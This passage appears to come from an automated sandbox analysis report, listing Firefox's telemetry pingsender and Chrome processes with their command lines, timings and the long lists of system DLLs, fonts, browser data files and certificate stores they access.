        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\PINGSENDER.EXE
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\E7F63D09-B212-4FE4-BDE4-9E7F1176C53F
        C:\WINDOWS\SYSTEM32\WININET.DLL
        C:\WINDOWS\WINSXS\AMD64_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_FA396087175AC9AC\COMCTL32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\INDEX.DAT
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\INDEX.DAT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\HISTORY\HISTORY.IE5\INDEX.DAT
        C:\WINDOWS\SYSTEM32\DNSAPI.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CERTIFICATES
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CRLS
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CTLS
        C:\WINDOWS\SYSTEM32\SCHANNEL.DLL
        C:\WINDOWS\SYSTEM32\RASAPI32.DLL
        C:\WINDOWS\SYSTEM32\RASMAN.DLL
        C:\WINDOWS\SYSTEM32\RTUTILS.DLL
        C:\WINDOWS\SYSTEM32\SENSAPI.DLL
        C:\WINDOWS\SYSTEM32\NLAAPI.DLL
        C:\WINDOWS\SYSTEM32\RASADHLP.DLL
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSTEM32\NETPROFM.DLL
        C:\WINDOWS\SYSTEM32\CRYPTSP.DLL
        C:\WINDOWS\SYSTEM32\RSAENH.DLL
        C:\WINDOWS\SYSTEM32\RPCRTREMOTE.DLL
        C:\WINDOWS\SYSTEM32\NPMPROXY.DLL
        C:\WINDOWS\SYSTEM32\NAPINSP.DLL
        C:\WINDOWS\SYSTEM32\PNRPNSP.DLL
        C:\WINDOWS\SYSTEM32\MSWSOCK.DLL
        C:\WINDOWS\SYSTEM32\WINRNR.DLL
        C:\WINDOWS\SYSTEM32\WSHBTH.DLL
        C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
        C:\WINDOWS\SYSTEM32\WSHIP6.DLL
        C:\WINDOWS\SYSTEM32\FWPUCLNT.DLL
        C:\WINDOWS\SYSTEM32\CREDSSP.DLL
        C:\WINDOWS\SYSTEM32\SECUR32.DLL
        C:\WINDOWS\SYSTEM32\NCRYPT.DLL
        C:\WINDOWS\SYSTEM32\BCRYPT.DLL
        C:\WINDOWS\SYSTEM32\BCRYPTPRIMITIVES.DLL
        C:\WINDOWS\SYSTEM32\GPAPI.DLL
        C:\WINDOWS\SYSTEM32\EN-US\CRYPT32.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\STPPCJ6X\20210504152106[1].TXT
        
        4140
        
        Image path
        
        "C:\PROGRAM FILES\MOZILLA FIREFOX\PINGSENDER.EXE" HTTPS://INCOMING.TELEMETRY.MOZILLA.ORG/SUBMIT/TELEMETRY/B0A70F9F-6DE7-46A8-B164-6CF26151ABC0/MAIN/FIREFOX/88.0.1/RELEASE/20210504152106?V=4 C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\B0A70F9F-6DE7-46A8-B164-6CF26151ABC0
        
        Time lapse
        
        175.031756
        
        Files Accessed
        
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZGLUE.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\MSVCP140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\VCRUNTIME140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\UCRTBASE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L2-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STRING-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MATH-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-TIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\PINGSENDER.EXE
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\B0A70F9F-6DE7-46A8-B164-6CF26151ABC0
        C:\WINDOWS\SYSTEM32\WININET.DLL
        C:\WINDOWS\WINSXS\AMD64_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_FA396087175AC9AC\COMCTL32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\INDEX.DAT
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\INDEX.DAT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\HISTORY\HISTORY.IE5\INDEX.DAT
        C:\WINDOWS\SYSTEM32\DNSAPI.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CERTIFICATES
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CRLS
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CTLS
        C:\WINDOWS\SYSTEM32\SCHANNEL.DLL
        C:\WINDOWS\SYSTEM32\RASAPI32.DLL
        C:\WINDOWS\SYSTEM32\RASMAN.DLL
        C:\WINDOWS\SYSTEM32\RTUTILS.DLL
        C:\WINDOWS\SYSTEM32\SENSAPI.DLL
        C:\WINDOWS\SYSTEM32\NLAAPI.DLL
        C:\WINDOWS\SYSTEM32\RASADHLP.DLL
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSTEM32\NETPROFM.DLL
        C:\WINDOWS\SYSTEM32\CRYPTSP.DLL
        C:\WINDOWS\SYSTEM32\RSAENH.DLL
        C:\WINDOWS\SYSTEM32\RPCRTREMOTE.DLL
        C:\WINDOWS\SYSTEM32\NPMPROXY.DLL
        C:\WINDOWS\SYSTEM32\NAPINSP.DLL
        C:\WINDOWS\SYSTEM32\PNRPNSP.DLL
        C:\WINDOWS\SYSTEM32\MSWSOCK.DLL
        C:\WINDOWS\SYSTEM32\WINRNR.DLL
        C:\WINDOWS\SYSTEM32\WSHBTH.DLL
        C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
        C:\WINDOWS\SYSTEM32\WSHIP6.DLL
        C:\WINDOWS\SYSTEM32\FWPUCLNT.DLL
        C:\WINDOWS\SYSTEM32\CREDSSP.DLL
        C:\WINDOWS\SYSTEM32\SECUR32.DLL
        C:\WINDOWS\SYSTEM32\NCRYPT.DLL
        C:\WINDOWS\SYSTEM32\BCRYPT.DLL
        C:\WINDOWS\SYSTEM32\BCRYPTPRIMITIVES.DLL
        C:\WINDOWS\SYSTEM32\GPAPI.DLL
        C:\WINDOWS\SYSTEM32\EN-US\CRYPT32.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\STPPCJ6X\20210504152106[1].TXT
        
        1952
        
        Image path
        
        "C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE" HTTPS://GO.MICROSOFT.COM/FWLINK/?LINKID=2128328&PARTNERCODE=SL5K&MACHINEID=B32446A5AD46437D80CA7ABB0AE0E2A7&EXTNID=MEDGKIFJBLGFAGAAMOKJBAGBGOCCCEPJ&MKT=EN-US
        
        Time lapse
        
        151.805269
        
        Files Accessed
        
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_ELF.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\NTMARTA.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\CRASHPAD\SETTINGS.DAT
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\UIAUTOMATIONCORE.DLL
        C:\WINDOWS\SYSTEM32\OLEACC.DLL
        C:\WINDOWS\SYSTEM32\SECUR32.DLL
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
        C:\WINDOWS\SYSTEM32\WINSPOOL.DRV
        C:\WINDOWS\SYSTEM32\WINHTTP.DLL
        C:\WINDOWS\SYSTEM32\WEBIO.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\OLEACCRC.DLL
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\ICUDTL.DAT
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\V8_CONTEXT_SNAPSHOT.BIN
        C:\WINDOWS\SYSTEM32\KBDUS.DLL
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        C:\WINDOWS\SYSTEM32\GPAPI.DLL
        C:\WINDOWS\SYSTEM32\WKSCLI.DLL
        C:\WINDOWS\SYSTEM32\NETUTILS.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\BROWSERMETRICS\BROWSERMETRICS-60EC41AB-7A0.PMA
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_100_PERCENT.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_200_PERCENT.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\LOCALES\EN-US.PAK
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\RESOURCES.PAK
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\SYSTEM32\NETAPI32.DLL
        C:\WINDOWS\SYSTEM32\SRVCLI.DLL
        C:\WINDOWS\FONTS\ARIAL.TTF
        C:\WINDOWS\FONTS\ARIALI.TTF
        C:\WINDOWS\FONTS\ARIALBD.TTF
        C:\WINDOWS\FONTS\ARIALBI.TTF
        C:\WINDOWS\FONTS\BATANG.TTC
        C:\WINDOWS\FONTS\COUR.TTF
        C:\WINDOWS\FONTS\COURI.TTF
        C:\WINDOWS\FONTS\COURBD.TTF
        C:\WINDOWS\FONTS\COURBI.TTF
        C:\WINDOWS\FONTS\DAUNPENH.TTF
        C:\WINDOWS\FONTS\DOKCHAMP.TTF
        C:\WINDOWS\FONTS\ESTRE.TTF
        C:\WINDOWS\FONTS\EUPHEMIA.TTF
        C:\WINDOWS\FONTS\GAUTAMI.TTF
        C:\WINDOWS\FONTS\GAUTAMIB.TTF
        C:\WINDOWS\FONTS\VANI.TTF
        C:\WINDOWS\FONTS\VANIB.TTF
        C:\WINDOWS\FONTS\GULIM.TTC
        C:\WINDOWS\FONTS\IMPACT.TTF
        C:\WINDOWS\FONTS\ISKPOTA.TTF
        C:\WINDOWS\FONTS\ISKPOTAB.TTF
        C:\WINDOWS\FONTS\KALINGA.TTF
        C:\WINDOWS\FONTS\KALINGAB.TTF
        C:\WINDOWS\FONTS\KARTIKA.TTF
        C:\WINDOWS\FONTS\KARTIKAB.TTF
        C:\WINDOWS\FONTS\KHMERUI.TTF
        C:\WINDOWS\FONTS\KHMERUIB.TTF
        C:\WINDOWS\FONTS\LAOUI.TTF
        C:\WINDOWS\FONTS\LAOUIB.TTF
        C:\WINDOWS\FONTS\LATHA.TTF
        C:\WINDOWS\FONTS\LATHAB.TTF
        C:\WINDOWS\FONTS\LUCON.TTF
        C:\WINDOWS\FONTS\MALGUN.TTF
        C:\WINDOWS\FONTS\MALGUNBD.TTF
        C:\WINDOWS\FONTS\MANGAL.TTF
        C:\WINDOWS\FONTS\MANGALB.TTF
        C:\WINDOWS\FONTS\MEIRYO.TTC
        C:\WINDOWS\FONTS\MEIRYOB.TTC
        C:\WINDOWS\FONTS\HIMALAYA.TTF
        C:\WINDOWS\FONTS\MSJH.TTF
        C:\WINDOWS\FONTS\MSJHBD.TTF
        C:\WINDOWS\FONTS\MSYH.TTF
        C:\WINDOWS\FONTS\MSYHBD.TTF
        C:\WINDOWS\FONTS\MINGLIU.TTC
        C:\WINDOWS\FONTS\MINGLIUB.TTC
        C:\WINDOWS\FONTS\MONBAITI.TTF
        C:\WINDOWS\FONTS\MSGOTHIC.TTC
        C:\WINDOWS\FONTS\MSMINCHO.TTC
        C:\WINDOWS\FONTS\MVBOLI.TTF
        C:\WINDOWS\FONTS\NTAILU.TTF
        C:\WINDOWS\FONTS\NTAILUB.TTF
        C:\WINDOWS\FONTS\NYALA.TTF
        C:\WINDOWS\FONTS\PHAGSPA.TTF
        C:\WINDOWS\FONTS\PHAGSPAB.TTF
        C:\WINDOWS\FONTS\PLANTC.TTF
        C:\WINDOWS\FONTS\RAAVI.TTF
        C:\WINDOWS\FONTS\RAAVIB.TTF
        C:\WINDOWS\FONTS\SEGOESC.TTF
        C:\WINDOWS\FONTS\SEGOESCB.TTF
        C:\WINDOWS\FONTS\SEGOEUI.TTF
        C:\WINDOWS\FONTS\SEGOEUIB.TTF
        C:\WINDOWS\FONTS\SEGOEUII.TTF
        C:\WINDOWS\FONTS\SEGOEUIZ.TTF
        C:\WINDOWS\FONTS\SEGUISB.TTF
        C:\WINDOWS\FONTS\SEGOEUIL.TTF
        C:\WINDOWS\FONTS\SEGUISYM.TTF
        C:\WINDOWS\FONTS\SHRUTI.TTF
        C:\WINDOWS\FONTS\SHRUTIB.TTF
        C:\WINDOWS\FONTS\SIMSUN.TTC
        C:\WINDOWS\FONTS\SIMSUNB.TTF
        C:\WINDOWS\FONTS\SYLFAEN.TTF
        C:\WINDOWS\FONTS\TAILE.TTF
        C:\WINDOWS\FONTS\TAILEB.TTF
        C:\WINDOWS\FONTS\TIMES.TTF
        C:\WINDOWS\FONTS\TIMESI.TTF
        C:\WINDOWS\FONTS\TIMESBD.TTF
        C:\WINDOWS\FONTS\TIMESBI.TTF
        C:\WINDOWS\FONTS\TUNGA.TTF
        C:\WINDOWS\FONTS\TUNGAB.TTF
        C:\WINDOWS\FONTS\VRINDA.TTF
        C:\WINDOWS\FONTS\VRINDAB.TTF
        C:\WINDOWS\FONTS\SHONAR.TTF
        C:\WINDOWS\FONTS\SHONARB.TTF
        C:\WINDOWS\FONTS\MSYI.TTF
        C:\WINDOWS\FONTS\TAHOMA.TTF
        C:\WINDOWS\FONTS\TAHOMABD.TTF
        C:\WINDOWS\FONTS\MICROSS.TTF
        C:\WINDOWS\FONTS\ANGSA.TTF
        C:\WINDOWS\FONTS\ANGSAI.TTF
        C:\WINDOWS\FONTS\ANGSAB.TTF
        C:\WINDOWS\FONTS\ANGSAZ.TTF
        C:\WINDOWS\FONTS\APARAJ.TTF
        C:\WINDOWS\FONTS\APARAJB.TTF
        C:\WINDOWS\FONTS\APARAJBI.TTF
        C:\WINDOWS\FONTS\APARAJI.TTF
        C:\WINDOWS\FONTS\CORDIA.TTF
        C:\WINDOWS\FONTS\CORDIAI.TTF
        C:\WINDOWS\FONTS\CORDIAB.TTF
        C:\WINDOWS\FONTS\CORDIAZ.TTF
        C:\WINDOWS\FONTS\EBRIMA.TTF
        C:\WINDOWS\FONTS\EBRIMABD.TTF
        C:\WINDOWS\FONTS\GISHA.TTF
        C:\WINDOWS\FONTS\GISHABD.TTF
        C:\WINDOWS\FONTS\KOKILA.TTF
        C:\WINDOWS\FONTS\KOKILAB.TTF
        C:\WINDOWS\FONTS\KOKILABI.TTF
        C:\WINDOWS\FONTS\KOKILAI.TTF
        C:\WINDOWS\FONTS\LEELAWAD.TTF
        C:\WINDOWS\FONTS\LEELAWDB.TTF
        C:\WINDOWS\FONTS\MSUIGHUR.TTF
        C:\WINDOWS\FONTS\MOOLBOR.TTF
        C:\WINDOWS\FONTS\SYMBOL.TTF
        C:\WINDOWS\FONTS\UTSAAH.TTF
        C:\WINDOWS\FONTS\UTSAAHB.TTF
        C:\WINDOWS\FONTS\UTSAAHBI.TTF
        C:\WINDOWS\FONTS\UTSAAHI.TTF
        C:\WINDOWS\FONTS\VIJAYA.TTF
        C:\WINDOWS\FONTS\VIJAYAB.TTF
        C:\WINDOWS\FONTS\WINGDING.TTF
        C:\WINDOWS\FONTS\MODERN.FON
        C:\WINDOWS\FONTS\ROMAN.FON
        C:\WINDOWS\FONTS\SCRIPT.FON
        C:\WINDOWS\FONTS\ANDLSO.TTF
        C:\WINDOWS\FONTS\ARABTYPE.TTF
        C:\WINDOWS\FONTS\SIMPO.TTF
        C:\WINDOWS\FONTS\SIMPBDO.TTF
        C:\WINDOWS\FONTS\SIMPFXO.TTF
        C:\WINDOWS\FONTS\MAJALLA.TTF
        C:\WINDOWS\FONTS\MAJALLAB.TTF
        C:\WINDOWS\FONTS\TRADO.TTF
        C:\WINDOWS\FONTS\TRADBDO.TTF
        C:\WINDOWS\FONTS\AHRONBD.TTF
        C:\WINDOWS\FONTS\DAVID.TTF
        C:\WINDOWS\FONTS\DAVIDBD.TTF
        C:\WINDOWS\FONTS\FRANK.TTF
        C:\WINDOWS\FONTS\LVNM.TTF
        C:\WINDOWS\FONTS\LVNMBD.TTF
        C:\WINDOWS\FONTS\MRIAM.TTF
        C:\WINDOWS\FONTS\MRIAMC.TTF
        C:\WINDOWS\FONTS\NRKIS.TTF
        C:\WINDOWS\FONTS\ROD.TTF
        C:\WINDOWS\FONTS\SIMFANG.TTF
        C:\WINDOWS\FONTS\SIMHEI.TTF
        C:\WINDOWS\FONTS\SIMKAI.TTF
        C:\WINDOWS\FONTS\ANGSAU.TTF
        C:\WINDOWS\FONTS\ANGSAUI.TTF
        C:\WINDOWS\FONTS\ANGSAUB.TTF
        C:\WINDOWS\FONTS\ANGSAUZ.TTF
        C:\WINDOWS\FONTS\BROWA.TTF
        C:\WINDOWS\FONTS\BROWAI.TTF
        C:\WINDOWS\FONTS\BROWAB.TTF
        C:\WINDOWS\FONTS\BROWAZ.TTF
        C:\WINDOWS\FONTS\BROWAU.TTF
        C:\WINDOWS\FONTS\BROWAUI.TTF
        C:\WINDOWS\FONTS\BROWAUB.TTF
        C:\WINDOWS\FONTS\BROWAUZ.TTF
        C:\WINDOWS\FONTS\CORDIAU.TTF
        C:\WINDOWS\FONTS\CORDIAUB.TTF
        C:\WINDOWS\FONTS\CORDIAUZ.TTF
        C:\WINDOWS\FONTS\CORDIAUI.TTF
        C:\WINDOWS\FONTS\UPCDL.TTF
        C:\WINDOWS\FONTS\UPCDI.TTF
        C:\WINDOWS\FONTS\UPCDB.TTF
        C:\WINDOWS\FONTS\UPCDBI.TTF
        C:\WINDOWS\FONTS\UPCEL.TTF
        C:\WINDOWS\FONTS\UPCEI.TTF
        C:\WINDOWS\FONTS\UPCEB.TTF
        C:\WINDOWS\FONTS\UPCEBI.TTF
        C:\WINDOWS\FONTS\UPCFL.TTF
        C:\WINDOWS\FONTS\UPCFI.TTF
        C:\WINDOWS\FONTS\UPCFB.TTF
        C:\WINDOWS\FONTS\UPCFBI.TTF
        C:\WINDOWS\FONTS\UPCIL.TTF
        C:\WINDOWS\FONTS\UPCII.TTF
        C:\WINDOWS\FONTS\UPCIB.TTF
        C:\WINDOWS\FONTS\UPCIBI.TTF
        C:\WINDOWS\FONTS\UPCJL.TTF
        C:\WINDOWS\FONTS\UPCJI.TTF
        C:\WINDOWS\FONTS\UPCJB.TTF
        C:\WINDOWS\FONTS\UPCJBI.TTF
        C:\WINDOWS\FONTS\UPCKL.TTF
        C:\WINDOWS\FONTS\UPCKI.TTF
        C:\WINDOWS\FONTS\UPCKB.TTF
        C:\WINDOWS\FONTS\UPCKBI.TTF
        C:\WINDOWS\FONTS\UPCLL.TTF
        C:\WINDOWS\FONTS\UPCLI.TTF
        C:\WINDOWS\FONTS\UPCLB.TTF
        C:\WINDOWS\FONTS\UPCLBI.TTF
        C:\WINDOWS\FONTS\KAIU.TTF
        C:\WINDOWS\FONTS\L_10646.TTF
        C:\WINDOWS\FONTS\ARIBLK.TTF
        C:\WINDOWS\FONTS\CALIBRI.TTF
        C:\WINDOWS\FONTS\CALIBRII.TTF
        C:\WINDOWS\FONTS\CALIBRIB.TTF
        C:\WINDOWS\FONTS\CALIBRIZ.TTF
        C:\WINDOWS\FONTS\CAMBRIA.TTC
        C:\WINDOWS\FONTS\CAMBRIAI.TTF
        C:\WINDOWS\FONTS\CAMBRIAB.TTF
        C:\WINDOWS\FONTS\CAMBRIAZ.TTF
        C:\WINDOWS\FONTS\CANDARA.TTF
        C:\WINDOWS\FONTS\CANDARAI.TTF
        C:\WINDOWS\FONTS\CANDARAB.TTF
        C:\WINDOWS\FONTS\CANDARAZ.TTF
        C:\WINDOWS\FONTS\COMIC.TTF
        C:\WINDOWS\FONTS\COMICBD.TTF
        C:\WINDOWS\FONTS\CONSOLA.TTF
        C:\WINDOWS\FONTS\CONSOLAI.TTF
        C:\WINDOWS\FONTS\CONSOLAB.TTF
        C:\WINDOWS\FONTS\CONSOLAZ.TTF
        C:\WINDOWS\FONTS\CONSTAN.TTF
        C:\WINDOWS\FONTS\CONSTANI.TTF
        C:\WINDOWS\FONTS\CONSTANB.TTF
        C:\WINDOWS\FONTS\CONSTANZ.TTF
        C:\WINDOWS\FONTS\CORBEL.TTF
        C:\WINDOWS\FONTS\CORBELI.TTF
        C:\WINDOWS\FONTS\CORBELB.TTF
        C:\WINDOWS\FONTS\CORBELZ.TTF
        C:\WINDOWS\FONTS\FRAMD.TTF
        C:\WINDOWS\FONTS\FRAMDIT.TTF
        C:\WINDOWS\FONTS\GABRIOLA.TTF
        C:\WINDOWS\FONTS\GEORGIA.TTF
        C:\WINDOWS\FONTS\GEORGIAI.TTF
        C:\WINDOWS\FONTS\GEORGIAB.TTF
        C:\WINDOWS\FONTS\GEORGIAZ.TTF
        C:\WINDOWS\FONTS\PALA.TTF
        C:\WINDOWS\FONTS\PALAI.TTF
        C:\WINDOWS\FONTS\PALAB.TTF
        C:\WINDOWS\FONTS\PALABI.TTF
        C:\WINDOWS\FONTS\SEGOEPR.TTF
        C:\WINDOWS\FONTS\SEGOEPRB.TTF
        C:\WINDOWS\FONTS\TREBUC.TTF
        C:\WINDOWS\FONTS\TREBUCIT.TTF
        C:\WINDOWS\FONTS\TREBUCBD.TTF
        C:\WINDOWS\FONTS\TREBUCBI.TTF
        C:\WINDOWS\FONTS\VERDANA.TTF
        C:\WINDOWS\FONTS\VERDANAI.TTF
        C:\WINDOWS\FONTS\VERDANAB.TTF
        C:\WINDOWS\FONTS\VERDANAZ.TTF
        C:\WINDOWS\FONTS\WEBDINGS.TTF
        C:\WINDOWS\FONTS\COURE.FON
        C:\WINDOWS\FONTS\SERIFE.FON
        C:\WINDOWS\FONTS\SSERIFE.FON
        C:\WINDOWS\FONTS\SMALLE.FON
        C:\WINDOWS\FONTS\SMALLF.FON
        C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\EQUATION\MTEXTRA.TTF
        C:\WINDOWS\FONTS\ARIALUNI.TTF
        C:\WINDOWS\FONTS\CENTURY.TTF
        C:\WINDOWS\FONTS\WINGDNG2.TTF
        C:\WINDOWS\FONTS\WINGDNG3.TTF
        C:\WINDOWS\FONTS\ALGER.TTF
        C:\WINDOWS\FONTS\BASKVILL.TTF
        C:\WINDOWS\FONTS\BAUHS93.TTF
